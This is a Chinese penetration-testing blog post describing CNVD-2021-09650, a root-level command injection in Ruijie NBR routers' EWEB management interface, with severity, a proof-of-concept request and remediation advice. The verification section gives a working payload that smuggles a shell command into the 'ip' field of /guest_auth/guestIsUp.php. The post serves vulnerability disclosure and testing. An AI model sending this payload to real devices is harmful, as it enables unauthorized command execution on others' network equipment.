锐捷EWEB网管系统远程命令执行漏洞（CNVD-2021-09650）

远程命令执行 锐捷
漏洞篇
发布日期:   2022-10-13
更新日期:   2022-11-06
文章字数:   380
阅读时长:   1 分

前言

持续更新：整理下渗透测试工作中发现过的漏洞（包含漏洞描述、漏洞等级、漏洞验证、修复建议），这里不深究漏洞产生的各种后利用或者绕过方式，漏洞验证过程不局限于文章中的方法，能够证明漏洞存在即可。

0x01 漏洞描述

- 锐捷EWEB网管系统远程命令执行漏洞（CNVD-2021-09650） -

锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。

锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

0x02 漏洞等级

威胁级别 高危 中危 低危

0x03 漏洞验证

访问锐捷EWEB网管系统界面，使用BurpSuite工具抓取数据包。

使用POST型数据包检测语句执行whoami命令，并将执行结果保存到test.txt中。

POST /guest_auth/guestIsUp.php

Content-Type: application/x-www-form-urlencoded

mac=1&ip=127.0.0.1|whoami > test.txt

访问/guest_auth/test.txt文件，获取当前服务器用户权限为ROOT

0x04 漏洞修复

  1. 对设备进行系统升级，限定内外网访问设备WEB页面（管理员除外）。
  2. 厂商已发布了漏洞修复程序，请及时关注更新：https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/
文章作者: LuckySec
文章链接: http://www.luckysec.cn/posts/f0b5f6b9.html
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
远程命令执行 锐捷
评论
 上一篇
不安全的 HTTP 方法 不安全的 HTTP 方法
目标服务器启用了不安全的HTTP方法，例如PUT、DELETE、COPY、MOVE、SEARCH、PROPFIND、TRACE等。不合理的权限配置有可能允许未授权的用户对其进行利用，例如攻击者可以通过PUT方法直接上传WebShell文件到有写权限的目录，从而控制网站。
2022-10-14 漏洞篇
配置不当 HTTP
下一篇 
Arcgis REST 服务目录漏洞 Arcgis REST 服务目录漏洞
ArcGIS REST 服务目录为系统中所有的 ArcGIS Server Web 服务以及可通过 REST 执行的操作提供了一种基于 HTML 的可浏览的表现方式。ArcGIS REST 服务目录会暴露系统发布的服务，通过点Web界面上的链接可以获取到系统服务敏感数据。当不希望用户浏览系统中的服务列表、在 Web 搜索中查找系统中的服务或通过 HTML 表单请求系统中的服务时，建议在生产系统中禁用服务目录功能。
2022-10-12 漏洞篇
Arcgis 配置不当
  目录